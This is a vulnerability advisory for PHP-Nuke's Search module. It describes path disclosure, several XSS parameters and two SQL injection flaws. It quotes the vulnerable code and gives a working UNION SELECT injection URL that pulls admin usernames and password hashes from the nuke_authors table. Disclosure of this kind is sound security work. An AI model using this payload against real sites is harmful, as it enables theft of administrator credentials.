Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Php-Nuke is a popular freeware content management
system, written in php by
Francisco Burzi. This CMS (Content Management System)
is used on many thousands
websites, because it's freeware, easy to install and
has broad set of features.
Homepage: http://phpnuke.org
Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Finally i got looked through all the search module
code and as expected, there are
many (in)security related findings. Let's begin ...
A - Full path disclosure
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A1 - full path disclosure in
"/modules/Search/index.php":
Go to search page:
http://localhost/nuke73/modules.php?name=Search
and enter to search field "**" (without double
quotes).
Or enter plus sign "+".
As result there will be standard php error messages,
revealing full path:
Warning: eregi(): REG_BADRPT: in
D:\apache_wwwroot\nuke73\modules\Search\index.php on
line 228
Warning: eregi(): REG_BADRPT: in
D:\apache_wwwroot\nuke73\modules\Search\index.php on
line 232
Warning: eregi(): REG_BADRPT: in
D:\apache_wwwroot\nuke73\modules\Search\index.php on
line 235
B - Cross-site scripting aka XSS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
B1 - xss in "/modules/Search/index.php" through user
submitted variable "$sid":
http://localhost/nuke73/modules.php?name=Search&sid=[xss
code here]
B2 - xss in "/modules/Search/index.php" through user
submitted variable "$max":
http://localhost/nuke73/modules.php?name=Search&query=*&max=[xss
code here]
remark: search results count must be >= 9.
B3 - xss in "/modules/Search/index.php" through
uninitialized variables "$sel1" - "sel5":
http://localhost/nuke73/modules.php?name=Search&query=waraxe&sel1=[xss
code here]&type=comments
B4 - xss in "/modules/Search/index.php" through
uninitialized variable "$match":
http://localhost/nuke73/modules.php?name=Search&a=6&query=*&match=[xss
code here]
B5 - xss in "/modules/Search/index.php" through
uninitialized variables "$mod1" - "$mod3":
http://www.nukecops.com/modules.php?name=Search&query=*&mod3=[xss
code here]
Remark - specific module must be disabled in order to
xss triggering!
C - Sql Injection
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
C1 - noncritical sql injection case in
"/modules/Search/index.php":
Reason is unsanitized user-submitted variable "$min",
which gets delievered directly
to sql request, afrer "ORDER BY / LIMIT" keywords. In
mysql version 4.0 its not useful for exploiting,
but in case of new version 4.1, where subselects
functionality will be available, there will be
possibility to use blind sql injection methods. So -
this security bug must be fixed ASAP.
C2 - critical sql injection case in
"/modules/Search/index.php":
Yeah, yeah, yeah - AGAIIIIIN! Fatal sql injection...
"Use the Source, Luke" --> let's look @ original code
----------------[ original source ]-----------------
$query = addslashes($query);
if ($type=="stories" OR !$type)
{
if ($category > 0)
{
$categ = "AND catid='$category' ";
}
elseif ($category == 0)
{
$categ = "";
}
$q = "select s.sid, s.aid, s.informant, s.title,
s.time, s.hometext, s.bodytext,
a.url, s.comments, s.topic from ".$prefix."_stories
s, ".$prefix."_authors a
where s.aid=a.aid $queryalang $categ";
if (isset($query)) $q .= "AND (s.title LIKE
'%$query%' OR s.hometext LIKE '%$query%'
OR s.bodytext LIKE '%$query%' OR s.notes LIKE
'%$query%') ";
if ($author != "") $q .= "AND s.aid='$author' ";
if ($topic != "") $q .= "AND s.topic='$topic' ";
if ($days != "" && $days!=0) $q .= "AND
TO_DAYS(NOW()) - TO_DAYS(time) <= '$days' ";
$q .= " ORDER BY s.time DESC LIMIT $min,$offset";
$t = $topic;
$result5 = $db->sql_query($q);
----------------[/original source ]-----------------
What we can see here, is that construction "if/elseif"
misses ending part "/else".
And if we deliver there "$category" as < 0, then
variable "$categ" will be uninitialized.
So - let's get dirty ;)
----------------[ real life exploit ]---------------
http://localhost/nuke73/modules.php?name=Search&type=stories&query=f00bar&category=-1
&categ=%20and%201=2%20UNION%20SELECT%200,0,aid,pwd,0,0,0,0,0,0%20from%20nuke_authors/*
----------------[/real life exploit ]---------------
And you can see some confidential information about
admins...
See ya next time and have a nice day!
